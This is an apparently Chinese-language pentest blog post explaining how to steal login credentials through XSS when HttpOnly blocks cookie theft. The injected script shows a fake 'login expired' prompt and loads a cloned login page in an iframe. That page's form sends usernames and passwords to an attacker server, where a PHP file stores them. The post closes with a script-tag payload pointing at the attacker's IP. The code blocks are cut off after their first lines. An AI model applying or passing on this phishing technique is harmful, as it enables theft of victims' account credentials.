前言
之前项目遇到httponly的情况,总结后发现对于xss遇到httponly如何继续利用了解手段不够多。从同事那里听说了这种技巧于是就决定总结一下此种用法。
思路
我们通过xss键嵌入一段脚本,该脚本的作用为提示登录过期,需要重新登录,并将伪造的登录页面通过iframe加载到受害者的浏览器中。在受害者通过我们伪造的登录框输入密码后,伪造的登录框将账号密码传到我们的服务器上并保存。
实战利用
首先新建一个js文件,该js文件作用为提示重新登录,在ifame中嵌套伪造的登录页面。
1.js
1 | setTimeout(function(){ |
再新建一个html文件,该html文件的作用为伪造目标的登录页面,这里以https://xss8.cc/login/为例,右键查看源码,然后复制源码并将其中的相对路径都替换成绝对路径。
1.html
1 | <!DOCTYPE html> |
需要注意的是,action这里需要指向我们自己服务器上的处理文件,1.php作用为保存发送过来的账号密码并以文件形式存储。
下面创建1.php,这里需要注意,在1.php中的获取的字段name需要和form表单中的字段name保持一致,我这里是user和pwd字段。
1 | <?php |
最后我们只需要把<script\ src=”http://xxx.xxx.xxx.xxx/1.js"%3E这个payload通过xss发送给对方即可。